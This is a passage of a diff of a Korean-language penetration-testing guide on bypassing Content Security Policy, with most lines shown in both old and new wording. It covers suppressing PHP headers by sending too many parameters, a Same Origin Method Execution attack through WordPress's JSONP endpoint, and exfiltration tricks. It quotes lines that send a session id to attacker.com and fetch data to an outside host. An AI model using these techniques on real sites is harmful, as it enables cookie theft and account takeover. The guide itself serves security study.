[**이 비디오에서 언급된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 파라미터(1001 GET 파라미터, POST 파라미터와 20개 이상의 파일로도 가능)를 보내면, 정의된 **`header()`**가 PHP 웹 코드에서 **전송되지 않습니다**. 이는 이로 인해 발생하는 오류 때문입니다.
[**이 비디오에서 언급된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 매개변수(1001 GET 매개변수, POST 매개변수 및 20개 이상의 파일로도 가능)를 보내면, 정의된 **`header()`**가 PHP 웹 코드에서 **전송되지 않습니다**. 이는 이로 인해 발생하는 오류 때문입니다.
### PHP 응답 버퍼 오버로드
@ -619,15 +619,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)를 악용하여 **동일 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용할 실제 엔드포인트의 DOM**에 **접근**할 수 있습니다. 더 많은 정보는 다음을 확인하세요:
SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)를 악용하여 **동일 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하고자 하는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용할 실제 엔드포인트의 DOM**에 **접근**할 수 있습니다. 더 많은 정보는 다음을 확인하세요:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
게다가, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있어 **출력**에 전송된 **데이터**를 **반영**합니다(단, 문자, 숫자 및 점만 허용됨).
게다가, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있어 **출력에 전송된 데이터**를 **반영**합니다(단, 문자, 숫자 및 점만 허용됨).
공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격****생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 안에 **삽입**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**됩니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\
공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 안에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**됩니다. 또한 WordPress가 설치되어 있기 때문에, 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\
이 공격을 수행하는 방법에 대한 더 많은 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)를 확인하세요.
## CSP Exfiltration Bypasses
@ -649,7 +649,7 @@ document.location = "https://attacker.com/?" + sessionid
```
### DNS Prefetch
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용할 수 있도록 캐시합니다.\
브라우저에게 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**: